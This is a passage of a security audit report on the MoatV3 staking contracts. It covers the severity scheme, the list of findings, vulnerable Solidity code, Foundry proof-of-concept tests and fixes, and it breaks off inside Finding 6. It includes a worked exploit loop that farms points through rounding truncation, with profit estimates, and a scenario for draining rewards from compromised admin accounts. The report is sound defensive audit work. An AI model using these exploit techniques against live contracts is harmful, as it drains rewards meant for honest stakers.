FAILSAFE

13 December 2025

Prepared for
Alex
Moat

Prepared by
y4y
bradmoon
FailSafe

MoatV3

Smart Contract Audit Report

Table of Contents

Executive Summary

FailSafe was engaged to conduct a comprehensive security audit of MoatV3, a smart contract deployed on the Ethereum blockchain. Our elite team of security experts undertook a detailed analysis of the contract's codebase, focusing on identifying vulnerabilities and providing actionable recommendations to enhance its security and reliability. Throughout the audit, FailSafe leveraged its extensive experience in smart contract security to ensure that MoatV3 adheres to the highest standards of safety and operational integrity.

During the audit, several noteworthy vulnerabilities were identified, highlighting the complex and multifaceted nature of blockchain security. Among the critical findings was an issue with the lock multiplier calculation, which could lead to permanent point loss for users and undermine the sophisticated incentive mechanisms. Another critical vulnerability involved the hardcoding of a scaling factor, rendering the protocol incompatible with major low-decimal tokens like USDT and WBTC, potentially limiting its market adoption. High-severity issues such as the burn migration flaw, which allowed users to claim retroactive rewards, and the expired lock point recalculation problem, which could lead to system imbalance and reward loss, were also discovered. Medium-severity findings included emergency unlock procedures that could not be reversed, leading to potential trust issues, and the use of a centralized admin wallet, which posed a single point of failure risk across all deployments. These findings underscored the importance of thorough security practices and the need for continuous monitoring and improvements.

The development team is to be commended for their proactive approach to addressing these vulnerabilities. Their swift resolution of critical and high-severity issues demonstrates a strong commitment to maintaining a secure and robust protocol. By implementing the recommendations provided by FailSafe, they have significantly strengthened MoatV3's security posture. Moving forward, continued diligence and adherence to security best practices will ensure that MoatV3 can operate safely and efficiently, fostering trust and confidence among its users and stakeholders.

Project Details

Project	MoatV3
Repository	https://github.com/0xFortiFi/Moat-Contracts/tree/main/MoatV3
Blockchain	Ethereum
Audit Type	Smart Contract Audit Report
Initial Commit	39832a491fe1a59bc8f7e5d27baa65edd8985eaf
Final Commit	943869a85a5e89606750c040d3f562d312288d0c
Timeline	2 December 2025 - 4 December 2025
	Final Report: 13 December 2025

Structure & Organization of The Security Report

Issues are tagged as “Open”, “Acknowledged”, “Partially Resolved”, “Resolved” or “Closed” depending on whether they have been fixed or addressed.

- Open: The issue has been reported and is awaiting remediation from developer team.
- Acknowledged: The developer team has reviewed and accepted the issue but has decided not to fix it.
- Partially Resolved: Mitigations have been applied, yet some risks or gaps still remain.
- Resolved: The issue has been fully addressed and no further work is necessary.
- Closed: The issue is deemed no longer pertinent or actionable.

Furthermore, the severity of each issue is written as assessed by the risk of exploitation or other unexpected or otherwise unsafe behavior:

Critical	The issue affects the platform in such a way that funds may be lost, allocated incorrectly, or otherwise result in a significant loss.
High	The issue affects the ability of the platform to compile or operate in a significant way.
Medium	The issue affects the ability of the platform to operate in a way that doesn’t significantly hinder its behavior.
Low	The issue has minimal impact on the platform’s ability to operate.
Info	The issue is informational in nature and does not pose any direct risk to the platform’s operation.

Methodology

Threat Modelling

We will employ a threat modelling approach to identify potential attack vectors and risks associated with the smart contract(s). This involves:

1. Asset Identification: Enumerating the critical assets within the smart contract(s), such as tokens, sensitive data, access controls, and more.
2. Threat Enumeration: Identifying potential threats such as reentrancy, integer overflow/underflow, denial of service, and more.
3. Vulnerability Assessment: Assessing vulnerabilities in the context of the smart contract(s) and its interaction with external components.
4. Risk Prioritization: Prioritizing identified threats based on their severity and potential impact.

Manual Code Review

Our manual analysis involves an in-depth review of the smart contract(s) source code, focusing on:

1. Code Review Line-by-line examination to detect vulnerabilities and ensure compliance with best practices.
2. Logic Analysis: Analyzing the smart contract(s) Business logic for vulnerabilities and inconsistencies.
3. Gas Optimization: Identifying areas for gas optimization and efficiency improvements.
4. Access Control Review: Ensuring proper access controls and permission management.
5. External Dependencies: Assessing the security implications of external dependencies or oracles.

Functional Testing in Hardhat/Foundry

We will perform functional testing using Hardhat/Foundry to ensure the correctness and reliability of the smart contract(s). This includes:

1. Functional Testing: Writing comprehensive tests to cover various functionalities and edge cases.
2. Integration Testing: Verifying the interaction of smart contract(s) with other components.
3. Deployment Verification: Ensuring the correctness of smart contract(s) deployment.

Fuzzing and Invariant Testing

If deemed necessary based on the complexity and criticality of the smart contract(s), we will perform fuzzing and invariant testing to identify vulnerabilities that might not be caught through conventional methods. This includes:

1. Fuzz Testing: Employing fuzzing techniques to generate invalid, unexpected, or random inputs to trigger potential vulnerabilities.
2. Invariant Testing: Verifying invariants and properties to ensure the correctness and consistency of the smart contract(s) across various scenarios.

Edge Cases Scenarios Coverage

Our audit will thoroughly cover a wide spectrum of edge cases, including but not limited to:

1. Extreme Inputs: Testing with extreme and boundary inputs to assess resilience.
2. Exception Handling: Evaluating how the contract(s) handle exceptional scenarios.
3. Concurrency: Assessing the contract(s) behaviour in concurrent or simultaneous interactions.
4. Non-Standard Scenarios: Analyzing non-standard use cases that might impact contract(s) behaviour.

Reporting and Recommendations

A thorough description of the issue, highlighting the potential impact on the system.

1. The location within the codebase where the issue is found.
2. A clear explanation of the vulnerability, its root cause, and its potential exploitation.
3. Code snippets or detailed instructions on how to address the vulnerability.
4. Best practices and coding guidelines to prevent similar issues in the future.
5. We will suggest improvements in the overall system architecture or design, if relevant.
6. Wherever applicable, we'll include a PoC to demonstrate issue severity, aiding effective mitigation.

Report Generation

1. Document all findings, including identified vulnerabilities, their severity, and potential impact.
2. Provide clear and actionable recommendations for addressing security issues.

Remediation Support

1. Collaborate with the project's development team to address and remediate identified vulnerabilities.
2. Review and validate code changes and security fixes.

Final Assessment

Re-evaluate the project's security posture after remediation efforts to ensure vulnerabilities have been adequately addressed.

In-scope

- MoatV3/multilock.moat.sol
- MoatV3/multilock.factory.sol

Summary of Findings

Severity	Total	Open	Acknowledged	Partially Resolved	Resolved
✖ Critical	2	-	-	-	2
! High	2	-	-	-	2
! Medium	8	-	2	-	6
! Low	5	-	3	-	2
i Info	2	-	1	-	1
Total	19	0	6	0	13

#	Findings	Severity	Status
1	Hardcoded POINTS_SCALING_FACTOR Incompatible with Low-Decimal Tokens	✖ Critical	Resolved
2	Lock Multiplier Precision Loss Due to Premature Division	✖ Critical	Resolved
3	Burn migration grants retroactive rewards	! High	Resolved
4	Expired Lock Point Recalculation Causes Reward Loss and System Imbalance	! High	Resolved
5	Admin removal allows dropping initial admin	! Medium	Resolved
6	Centralized Admin Wallet Creates Single Point of Failure	! Medium	Resolved
7	Early exit can be cheaper than normal exit near maturity	! Medium	Resolved
8	Emergency unlock is irreversible	! Medium	Acknowledged
9	enableEmergencyUnlock() Fails to Pause Contract	! Medium	Resolved
10	Fee-on-Transfer Token Incompatibility Leading to Accounting Discrepancies	! Medium	Acknowledged
11	No rescue for stuck rewards	! Medium	Resolved
12	Single-Block updatePool() Limitation Enables Reward Loss and MEV Exploitation	! Medium	Resolved
13	Active user set unbounded via burns	! Low	Acknowledged
14	Chain/token decimal assumptions	! Low	Resolved
15	emergencyWithdraw() Fails to Harvest Pending Rewards	! Low	Acknowledged
16	Lock Exit Functions Do Not Update lastUpdated Timestamp	! Low	Resolved
17	Unbounded locks can bloat loops	! Low	Acknowledged
18	LockExited event omits fee component	i Info	Acknowledged
19	USDC Token Address Should Be Immutable	i Info	Resolved

Finding 1: Hardcoded POINTS_SCALING_FACTOR Incompatible with Low-Decimal Tokens

Severity: ✖ Critical

Status: Resolved

Description:

The protocol hardcodes `POINTS_SCALING_FACTOR` to `1e12` without considering the staking token's decimal places. This creates critical incompatibility with tokens having less than 12 decimals (such as USDT with 6 decimals or WBTC with 8 decimals), resulting in two severe issues:

Issue 1 - Impossibly High Entry Barrier: Normal users cannot earn any points. For WBTC (8 decimals), a user must stake 10,000 BTC (approximately $400,000,000) to earn a single point. For USDT (6 decimals), 1,000,000 USDT ($1,000,000) is required for 1 point. This makes the protocol completely unusable for these major tokens.

Issue 2 - Zero-Cost Point Exploitation: Due to integer division truncation, attackers can exploit the precision loss to accumulate unlimited points at near-zero cost. By repeatedly staking exactly `1e12` wei (earning 1 point) and then unstaking `1e12 - 1` wei (removing 0 points due to truncation), attackers keep 1 point for only 1 wei locked. This can be repeated to accumulate thousands of points for negligible cost (only gas fees), allowing reward pool drainage.

Impact:

- 1. **Protocol Unusable for Major Tokens**: The protocol cannot function with widely-used tokens including USDT ($140B market cap), USDC ($50B), and WBTC ($15B). This severely limits adoption and utility.
- 2. **Economic Exploit - Zero-Cost Point Accumulation**: Attackers can accumulate unlimited points for negligible cost:
  - Stake `1e12` wei -> earn 1 point
  - Unstake `1e12 - 1` wei -> lose 0 points (truncation)
  - Repeat 1,000 times -> 1,000 points for 1,000 wei (~$0.40) + gas
  - If reward pool is $100,000 and attacker has 10% of points -> claim $10,000
  - Net profit: ~$9,950 (excluding gas)
- 3. **Reward Pool Drainage**: Attackers with artificially accumulated points drain rewards intended for legitimate stakers, potentially leaving the pool empty for honest users.
- 4. **Unfair Competition**: Users staking different tokens face vastly different barriers (WETH users get millions of points for $100k, WBTC users get 0 points for $4M).

Source:

- **Contract**: `MultiLockMoat.sol`
- **Constant**: `POINTS_SCALING_FACTOR = 1e12` (Line 55)
- **Affected Functions**: `stake()`, `unstake()`, `lock()`, `burn()`, `getCurrentPoints()`

Code:

```
// Hardcoded constant - doesn't adapt to token decimals
uint256 public constant POINTS_SCALING_FACTOR = 1e12;

function stake(uint256 _amount) external {
    // ...
    stakingToken.safeTransferFrom(msg.sender, address(this), _amount);

    // PROBLEM 1: For low-decimal tokens, this often equals 0
    uint256 points = (_amount * POINTS_PER_TOKEN) / POINTS_SCALING_FACTOR;
    // WBTC example: (100e8 * 1) / 1e12 = 0.01 = 0 points
    // User stakes 100 BTC ($4M) and earns ZERO points

    user.stakedAmount += _amount;
    user.stakingPoints += points;
    totalPoints += points;
    // ...
}

function unstake(uint256 _amount) external {
    // ...
    // PROBLEM 2: Allows exploitation via truncation
    uint256 points = (_amount * POINTS_PER_TOKEN) / POINTS_SCALING_FACTOR;
    // unstake(1e12 - 1) = (999999999999 * 1) / 1e12 = 0 points removed

    user.stakingPoints -= points;
    totalPoints -= points;
    // ...
}
```

Proof of Concept:

```
function testZeroCostPointExploitation() public {
    // Setup with WBTC (8 decimals)
    uint256 iterations = 1000;
    uint256 attackAmount = 1e12; // Threshold for 1 point

    vm.startPrank(attacker);
    uint256 initialBalance = wbtc.balanceOf(attacker);

    // Execute exploit loop
    for (uint i = 0; i < iterations; i++) {
        wbtc.approve(address(moat), attackAmount);
        moat.stake(attackAmount);          // Earn 1 point
        moat.unstake(attackAmount - 1);    // Lose 0 points (truncation)
    }

    uint256 finalBalance = wbtc.balanceOf(attacker);
    uint256 points = moat.getCurrentPoints(attacker);
    uint256 cost = initialBalance - finalBalance;

    // Results
    assertEq(points, iterations);           // 1,000 points earned
    assertEq(cost, iterations);             // 1,000 wei locked (~$0.40)

    console.log("Points earned:", points);
    console.log("Cost (wei):", cost);
    console.log("Cost (WBTC):", cost / 1e8);
    console.log("Cost (USD):", "~$0.40");

    vm.stopPrank();
}
```

Remediation:

Make `POINTS_SCALING_FACTOR` dynamic based on the staking token's decimals and enforce minimum stake amounts:

```
contract MultiLockMoat {
    IERC20 public immutable stakingToken;
    uint8 public immutable tokenDecimals;

    // ⊠ Change from constant to immutable
    uint256 public immutable POINTS_SCALING_FACTOR;
    uint256 public immutable MIN_STAKE_AMOUNT;

    constructor(address _stakingToken, address _feeCollector, address _adminWallet) {
        stakingToken = IERC20(_stakingToken);

        // ⊠ Get token decimals
        tokenDecimals = IERC20Metadata(_stakingToken).decimals();

        // ⊠ Set scaling factor based on decimals
        if (tokenDecimals >= 12) {
            POINTS_SCALING_FACTOR = 10 ** 12;
        } else {
            // For low-decimal tokens, use token's native decimals
            // E.g., WBTC (8 decimals): POINTS_SCALING_FACTOR = 1e8
            POINTS_SCALING_FACTOR = 10 ** tokenDecimals;
        }

        // ⊠ Set minimum to prevent dust exploitation
        MIN_STAKE_AMOUNT = POINTS_SCALING_FACTOR;
    }

    function unstake(uint256 _amount) external {
        // ...
        uint256 remainingAmount = user.stakedAmount - _amount;

        // ⊠ Prevent partial unstakes that leave dust
        if (remainingAmount > 0) {
            require(
                remainingAmount >= MIN_STAKE_AMOUNT,
                "Must unstake all or leave minimum amount"
            );
        }
        // ...
    }
}
```

Finding 2: Lock Multiplier Precision Loss Due to Premature Division

Severity: ⊗ Critical

Status: Resolved

Description:

The `lock()` function performs division before multiplication when calculating user lock points, causing Solidity's integer division to permanently truncate the fractional component of the lock multiplier. The `calculateLockMultiplier()` function intentionally uses a square root algorithm to produce smooth multiplier values ranging from 2.0x to 5.0x (e.g., 2.5x, 3.5x, 4.2x). However, the premature division operation `(multiplier / MULTIPLIER_PRECISION)` truncates these values to integers (2, 3, 4, 5) before multiplication, causing users to lose 5-20% of their expected points depending on lock duration.

For example, a 365-day lock should yield a 3.5x multiplier, but the premature division truncates this to 3x, resulting in a permanent 14.3% point loss for the user.

Impact:

1. **Permanent Point Loss**: Users permanently lose 5-20% of expected points based on lock duration. The sophisticated square root incentive curve is completely nullified, degrading to only 4 discrete multiplier levels (2, 3, 4, 5).

2. **Unfair Reward Distribution**: Users locking for similar durations receive drastically different rewards based on whether their duration produces an integer multiplier. For example:

   - 365-day lock: 14.3% loss (3.5x → 3x)
   - 182-day lock: 0% loss (3.0x remains 3x)
   - 91-day lock: 20% loss (2.5x → 2x)

3. **Broken Economic Model**: The protocol's carefully designed non-linear incentive mechanism that rewards longer locks progressively is destroyed, undermining the entire lock reward structure.

4. **Cumulative Loss**: This loss affects every reward distribution throughout the lock period (potentially 730 days), compounding the total financial impact.

Source:

- **Contract**: `MultiLockMoat.sol`

- **Function**: `lock()` (Lines 314-316)
- **Related**: `calculateLockMultiplier()` (Lines 581-597)

Code:

```
function lock(uint256 _amount, uint256 _duration) external {
    // ...
    uint256 multiplier = calculateLockMultiplier(_duration);
    // multiplier = 3.5e18 for ~365 day lock

    // VULNERABLE: Division happens BEFORE multiplication
    uint256 points = (_amount * POINTS_PER_TOKEN * (multiplier / MULTIPLIER_PRECISION)) /
    POINTS_SCALING_FACTOR;
    // Step 1: (3.5e18 / 1e18) = 3.5 -> truncated to 3
    // Step 2: (1e24 * 1 * 3) / 1e12 = 3e12 points
    // LOSS: Should be 3.5e12, user loses 0.5e12 (14.3%)
}

// Constants
uint256 public constant POINTS_PER_TOKEN = 1;
uint256 public constant POINTS_SCALING_FACTOR = 1e12;
uint256 public constant MULTIPLIER_PRECISION = 1e18;
uint256 public constant MIN_LOCK_MULTIPLIER = 2;
uint256 public constant MAX_LOCK_MULTIPLIER = 5;
```

Proof of Concept:

```
function testLockMultiplierPrecisionLoss() public {
    uint256 amount = 1000000e18;
    uint256 duration = 365 days;

    // Lock tokens
    vm.startPrank(user);
    stakingToken.approve(address(moat), amount);
    moat.lock(amount, duration);
    vm.stopPrank();

    // Get actual points received
    (, , uint256 actualPoints, , , ) = moat.getUserLock(user, 0);

    // Calculate expected points with correct formula
    uint256 multiplier = moat.calculateLockMultiplier(duration);
    uint256 expectedPoints = (amount * 1 * multiplier) / (1e12 * 1e18);

    // Verify loss
    console.log("Expected points:", expectedPoints);  // 3.5e12
    console.log("Actual points:", actualPoints);      // 3e12
    console.log("Loss:", expectedPoints - actualPoints); // 0.5e12 (14.3%)

    assertLt(actualPoints, expectedPoints);
    assertEq(actualPoints, (amount * 3) / 1e12); // Only gets 3x, not 3.5x
}
```

Remediation:

Rearrange the calculation order to perform all multiplications before division, preserving full precision:

```
function lock(uint256 _amount, uint256 _duration) external {
    // ...
    uint256 multiplier = calculateLockMultiplier(_duration);

    // FIXED: All multiplications first, then single division
    uint256 points = (_amount * POINTS_PER_TOKEN * multiplier) /
```

```
                     (POINTS_SCALING_FACTOR * MULTIPLIER_PRECISION);

    // Example with multiplier = 3.5e18:
    // Numerator: 1e24 * 1 * 3.5e18 = 3.5e42
    // Denominator: 1e12 * 1e18 = 1e30
    // Result: 3.5e42 / 1e30 = 3.5e12 ⊠ Preserves precision!
}
```

Additional recommendations:

- Ensure unit tests cover edge cases for multiplier values (e.g., fractional multipliers like 2.5x, 3.5x).
- Add fuzz tests over durations to assert no truncation occurs and expected precision is maintained.
- Consider using a SafeMath-like library or checks to avoid intermediate overflows when multiplying large numbers before division.

Finding 3: Burn migration grants retroactive rewards

Severity: ● High

Status: Resolved

Description:

`migrateBurnUsers` increases `user.totalUserBurn` and `user.burnPoints` without updating `rewardDebt`. Since `updatePool()` is called first, `accRewardPerPoint` already includes past reward allocations. By adding new points without rebasing `rewardDebt`, migrated users gain claim on all historically accrued rewards, diluting or draining the pool at the expense of existing users.

Impact:

Migrated accounts can claim past rewards they never earned

Source:

- `MoatV3/multilock.moat.sol:844-871` (`migrateBurnUsers`)
- `MoatV3/multilock.moat.sol:520-531` (`_updateAllRewardDebts`)
- `MoatV3/multilock.moat.sol:534-550` (`pendingRewards`)

Proof of Concept:

```
function test_migrateBurnUsers_grants_retroactive_rewards() public {
    address user1 = user;
    address user2 = address(0x4);

    // user1 stakes to create points in the main pool
    vm.startPrank(user1);
    stakingToken.approve(address(moat), 100 ether);
    moat.stake(100 ether);
    vm.stopPrank();

    // Move to a new block so that a subsequent deposit can allocate rewards
    vm.roll(block.number + 1);

    // Deposit additional rewards after user1 is already in the pool
    rewardToken.mint(address(this), 100 ether);
    rewardToken.approve(address(moat), 100 ether);
    moat.depositRewards(address(rewardToken), 100 ether);

    // At this point, user1 has pending rewards, while user2 has never interacted
    uint256 pendingBeforeUser1 = moat.pendingRewards(user1, address(rewardToken));
    uint256 pendingBeforeUser2 = moat.pendingRewards(user2, address(rewardToken));
    assertGt(pendingBeforeUser1, 0, "user1 should have pending rewards before migration");
    assertEq(pendingBeforeUser2, 0, "user2 should have zero pending before migration");

    // Migrate a burn amount for user2 only, simulating an external burn history
    address[] memory users = new address[](1);
    uint256[] memory burnAmounts = new uint256[](1);
    users[0] = user2;
    burnAmounts[0] = 10 ether;

    vm.prank(adminWallet);
    moat.migrateBurnUsers(users, burnAmounts);

    // user2 still has never staked or burned in this contract, but now
    // gains a share of the already-accrued rewards
    uint256 pendingAfterUser2 = moat.pendingRewards(user2, address(rewardToken));
    assertGt(pendingAfterUser2, 0, "migrated user should receive retroactive rewards");

    // They can actually claim those retroactive rewards
    vm.prank(user2);
    moat.claimAllRewards();

    uint256 claimedByUser2 = rewardToken.balanceOf(user2);
    assertEq(claimedByUser2, pendingAfterUser2, "user2 should be paid their pending rewards");
}
```

Remediation:

- After adjusting burn points in `migrateBurnUsers`, immediately call `_updateAllRewardDebts(_user)` for each migrated user to rebase their `rewardDebt` to the current `accRewardPerPoint`.
- Alternatively, perform migrations before any reward deposits on a fresh deployment and forbid use once `totalRewardsDeposited > 0`.
- Restrict `moatManager` to trusted, audited operations and document migration procedures.

Finding 4: Expired Lock Point Recalculation Causes Reward Loss and System Imbalance

Severity: ❗ High

Status: Resolved

Description:

The contract contains a critical flaw in how it handles expired locks. When a lock is created, the user's points are calculated based on the lock duration multiplier (2x to 5x) and added to both the user's lock record and the global `totalPoints`. After the lock expires, the `getCurrentPoints()` function recalculates the lock's points using the minimum multiplier (2x), but `totalPoints` remains unchanged until the lock is explicitly exited.

This creates three interconnected problems:

Problem 1 - Reward Debt Mismatch (User Perspective): When the lock was active, the user's `rewardDebt` was calculated based on their high multiplier points (e.g., 5x for 730-day lock). After expiration, `getCurrentPoints()` returns recalculated low points (2x), but `rewardDebt` remains at the high value. This makes `accumulatedReward < rewardDebt`, causing `pendingRewards()` to return 0, completely preventing the user from claiming any rewards.

Problem 2 - totalPoints Inflation (System Perspective): The global `totalPoints` variable continues to reflect the original high multiplier (5x) until the user explicitly exits, but individual users' effective points (returned by `getCurrentPoints()`) are reduced to 2x. This means the denominator for reward distribution is larger than the sum of all users' effective numerators, causing systematic under-allocation of rewards.

Problem 3 - Reduced Reward Earning (Distribution Perspective): During the expired-but-not-exited period, users with expired locks earn rewards based on their reduced 2x points, while the global pool divides rewards using the inflated 5x denominator. This dilutes their reward share, causing them to receive significantly less than they should based on their actual contribution.

Impact:

1. **Users Cannot Claim Rewards After Expiration**: Users with expired locks cannot claim any rewards because `pendingRewards()` returns 0 due to the reward debt mismatch. All rewards earned during the lock period (up to 730 days) become unclaimable until they exit the lock.

2. **Systematic Under-Distribution**: While locks are expired but not exited, `totalPoints` remains artificially high, causing all new reward deposits to be under-allocated. If 100 tokens are deposited and `totalPoints` is inflated by 30%, only ~77 tokens are effectively claimable by users, leaving ~23 tokens stranded.

3. **Rewards Stranded in Contract**: The combination of inflated `totalPoints` and users being unable to claim creates a situation where reward tokens accumulate in the contract with no mechanism to distribute them, effectively locking admin-deposited capital.

4. **Diluted Rewards for Active Users**: Even users with active positions earn less than they should because their reward share is calculated against an inflated `totalPoints` denominator that includes phantom points from expired locks.

5. **No Recovery Mechanism**: There is no function to reconcile points or force users to exit expired locks. Passive users leave the system in a permanently degraded state.

Numerical Example:

- User locks 1,000 tokens for 730 days
- Lock creates 5,000 points (5x multiplier)
- `totalPoints` increases by 5,000
- After 730 days, lock expires
- `getCurrentPoints(user)` returns 2,000 (2x multiplier)
- But `totalPoints` still contains 5,000
- Discrepancy: 3,000 phantom points
- If admin deposits 10,000 reward tokens:
  - User should get: (2,000 / 2,000) × 10,000 = 10,000 tokens (100%)
  - User actually gets: (2,000 / 5,000) × 10,000 = 4,000 tokens (40%)
  - 6,000 tokens stranded
- Additionally, user's `rewardDebt` was set when they had 5,000 points, so they actually get 0 tokens

Source:

- **Contract**: `MultiLockMoat.sol`
- **Primary Function**: `getCurrentPoints()` (Lines 558-578)
- **Related Functions**: `lock()` (Lines 294-338), `exitLock()` (Lines 396-429), `pendingRewards()` (Lines 525-541)
- **Related Issues**: audit-report.md Issues #3, #5

Code:

```
// Lock creation - adds high multiplier points to totalPoints
function lock(uint256 _amount, uint256 _duration) external {
    // ...
    uint256 multiplier = calculateLockMultiplier(_duration);
    // For 730 days: multiplier = 5e18

    uint256 points = (_amount * POINTS_PER_TOKEN * (multiplier / MULTIPLIER_PRECISION)) /
    POINTS_SCALING_FACTOR;
    // points = (1000e18 * 1 * 5) / 1e12 = 5e6 (5x points)

    Lock memory newLock = Lock({
        amount: _amount,
        end: block.timestamp + _duration,
        points: points,  // Stores 5e6 points
        originalDuration: _duration,
        lastUpdated: block.timestamp,
        active: true
    });

    user.locks.push(newLock);
    totalPoints += points;  // Adds 5e6 to global totalPoints
}

// After expiration - recalculates with minimum multiplier
function getCurrentPoints(address _user) public view returns (uint256) {
    UserInfo storage user = userInfo[_user];
    uint256 totalLockPoints = 0;

    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active && user.locks[i].amount > 0) {
            if (block.timestamp < user.locks[i].end) {
                // Lock active: use stored points (5e6)
                totalLockPoints += user.locks[i].points;
            } else {
                // Lock expired: recalculate with MIN multiplier (2x)
                totalLockPoints += (user.locks[i].amount * POINTS_PER_TOKEN * MIN_LOCK_MULTIPLIER) /
    POINTS_SCALING_FACTOR;
                // Returns 2e6 instead of original 5e6
            }
        }
    }

    return user.stakingPoints + totalLockPoints + user.burnPoints;
}

// Reward calculation uses getCurrentPoints
function pendingRewards(address _user, address _rewardToken) public view returns (uint256) {
    RewardTokenInfo storage reward = rewardInfo[_rewardToken];
    UserInfo storage user = userInfo[_rewardToken];

    uint256 currentPoints = getCurrentPoints(_user);  // Returns 2e6 for expired lock
    uint256 accumulatedReward = (currentPoints * reward.accRewardPerPoint) / PRECISION_FACTOR;
    uint256 userRewardDebt = user.rewardDebt[_rewardToken];  // Still based on 5e6 points

    if (accumulatedReward <= userRewardDebt) {
        return 0;  // Returns 0 because debt too high
    }
    return accumulatedReward - userRewardDebt;
}

// totalPoints NOT reduced until explicit exit
function exitLock(uint256 _lockIndex) external {
    // ...
    totalPoints -= lockData.points;  // Only NOW is totalPoints reduced

    lockData.active = false;
    lockData.amount = 0;
    lockData.points = 0;
}
```

Proof of Concept:

```
function testExpiredLockRewardIssues() public {
    // Setup fresh moat
    MultiLockMoat testMoat = new MultiLockMoat(address(stakingToken), feeCollector, admin);
    testMoat.addRewardToken(address(rewardToken));

    // User locks for maximum duration (5x multiplier)
    vm.startPrank(user);
    stakingToken.approve(address(testMoat), 1000e18);
    testMoat.lock(1000e18, 730 days);
    vm.stopPrank();

    uint256 totalPointsBefore = testMoat.totalPoints();
    console.log("totalPoints after lock:", totalPointsBefore);

    // Fast-forward past expiration
    (, uint256 lockEnd, , , , ) = testMoat.getUserLock(user, 0);
    vm.warp(lockEnd + 1);

    // Check points after expiration
    uint256 totalPointsAfter = testMoat.totalPoints();
    uint256 userCurrentPoints = testMoat.getCurrentPoints(user);

    console.log("totalPoints after expiry:", totalPointsAfter);
    console.log("user getCurrentPoints:", userCurrentPoints);

    // ISSUE 1: totalPoints unchanged, but user points reduced
    assertEq(totalPointsAfter, totalPointsBefore); // totalPoints still 5x
    assertLt(userCurrentPoints, totalPointsAfter); // User points only 2x

    // Admin deposits rewards AFTER expiration
    vm.roll(block.number + 1);
    vm.startPrank(admin);
    rewardToken.approve(address(testMoat), 10000e18);
    testMoat.depositRewards(address(rewardToken), 10000e18);
    vm.stopPrank();

    // Try to claim
    vm.prank(user);
    testMoat.claimAllRewards();

    uint256 userRewards = rewardToken.balanceOf(user);
    console.log("User rewards claimed:", userRewards);

    // ISSUE 2: User cannot claim or gets less than expected
    assertLt(userRewards, 10000e18); // User doesn't get full rewards

    // ISSUE 3: Rewards stranded in contract
    uint256 poolBalance = rewardToken.balanceOf(address(testMoat));
    assertGt(poolBalance, 0); // Stranded rewards remain

    console.log("Stranded rewards:", poolBalance);
}
```

Remediation:

Always use the original stored points for locks, regardless of expiration status:

```
function getCurrentPoints(address _user) public view returns (uint256) {
    UserInfo storage user = userInfo[_user];
    uint256 totalLockPoints = 0;

    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active && user.locks[i].amount > 0) {
            // FIXED: Always use original stored points
            // Remove the expiration check and recalculation
            totalLockPoints += user.locks[i].points;
        }
    }

    return user.stakingPoints + totalLockPoints + user.burnPoints;
}

// Alternative comprehensive fix: Adjust totalPoints on expiration
function _adjustPointsForExpiredLocks(address _user) internal {
    UserInfo storage user = userInfo[_user];

    for (uint256 i = 0; i < user.locks.length; i++) {
        Lock storage lock = user.locks[i];

        if (lock.active && block.timestamp >= lock.end && !lock.hasBeenAdjusted) {
            // Calculate point difference
            uint256 originalPoints = lock.points;
            uint256 minPoints = (lock.amount * POINTS_PER_TOKEN * MIN_LOCK_MULTIPLIER) / POINTS_SCALING_FACTOR;

            // Adjust totalPoints and lock points
            totalPoints = totalPoints - originalPoints + minPoints;
            lock.points = minPoints;
            lock.hasBeenAdjusted = true;
        }
    }
}
```

Finding 5: Admin removal allows dropping initial admin

Severity: ! Medium

Status: Resolved

Description:

The constructor marks `_adminWallet` as an admin and also sets it as `moatManager`. `removeAdmin` can remove any admin except the owner, including this initial admin wallet. While this does not remove its `moatManager` privileges, it can violate operational expectations where `_adminWallet` is expected to retain full admin rights, and may complicate off-chain admin tooling.

Impact:

The protocol admin role can be removed by any `MultiMoat` owner.

Source:

- `MoatV3/multilock.moat.sol:119-129` (constructor)
- `MoatV3/multilock.moat.sol:214-225` (`addAdmin`, `removeAdmin`)

Remediation:

- If `_adminWallet` should be immutable as an admin, add:
  - `require(_admin != moatManager, "Cannot remove moat manager");`
- Alternatively, fully decouple the `moatManager` role from the admin set and manage each explicitly with clear documentation of intended lifecycle and rotation.

Finding 6: Centralized Admin Wallet Creates Single Point of Failure

Severity: ● Medium

Status: Resolved

Description:

The `MultiLockMoatFactory` contract uses a single `adminWallet` address that is configured as the administrator for ALL deployed `MultiLockMoat` contracts. This architectural design creates a critical single point of failure where compromise or loss of the admin wallet affects every deployed contract simultaneously.

The core issue is that `createMultiLockMoat()` passes the factory's `adminWallet` to every new MultiLockMoat deployment. Once deployed, there is no mechanism to update the admin on existing contracts. Even if the factory owner calls `setAdminWallet()` to change the admin address after a compromise, this only affects future deployments - all previously deployed contracts remain permanently bound to the compromised wallet.

This centralization amplifies the impact of any security incident from affecting a single contract to affecting the entire protocol ecosystem.

Impact:

1. **Mass Exploitation Across All Deployments**: If the admin wallet is compromised, an attacker gains full administrative control over every single deployed MultiLockMoat contract. They can:

   - Call `migrateBurnUsers()` to grant themselves unlimited points on all contracts
   - Claim all rewards from all pools across the entire protocol
   - Pause/unpause contracts at will
   - Enable emergency unlocks to disrupt operations

2. **Irreversible Damage to Existing Deployments**: After a compromise is discovered, updating `adminWallet` via `setAdminWallet()` only protects new deployments. All existing contracts remain vulnerable to the compromised key indefinitely, with no built-in recovery mechanism.

3. **Total Loss of Administrative Control**: If the admin wallet private key is lost (not compromised, just lost), ALL deployed contracts permanently lose administrative capabilities:

   - Cannot deposit new rewards
   - Cannot update fees
   - Cannot respond to emergencies

- Cannot modify any protocol parameters

4. **Amplified Trust Assumptions**: Users must trust not just the protocol code, but also:
    - Admin's operational security practices across all deployments
    - Admin's key management procedures
    - Admin won't act maliciously across any deployment
    - This trust requirement scales with every new deployment

Attack Scenario:

- Protocol has deployed 10 MultiLockMoat contracts for different tokens
- Combined TVL: $50 million across all contracts
- Admin wallet gets phished/compromised
- Attacker uses compromised admin to:
    - Add themselves with 1 billion fake burn points on all 10 contracts
    - Claim majority of all reward pools
    - Drain $50M worth of rewards across the ecosystem
- Owner changes `adminWallet` but damage already done to existing contracts

Source:

- **Contract**: `MultiLockMoatFactory.sol`
- **State Variable**: `adminWallet` (Line 11)
- **Function**: `createMultiLockMoat()`, `setAdminWallet()` (Lines 42-46)

Code:

```
1  contract MultiLockMoatFactory is Ownable {
2      // Single admin wallet shared across all deployments
3      address public adminWallet;
4      address public usdcToken;
5      address[] public moatContracts;
6  
7      constructor(address _adminWallet, address _usdcToken) {
8          require(_adminWallet != address(0), "Invalid admin wallet");
9          require(_usdcToken != address(0), "Invalid USDC token");
10 
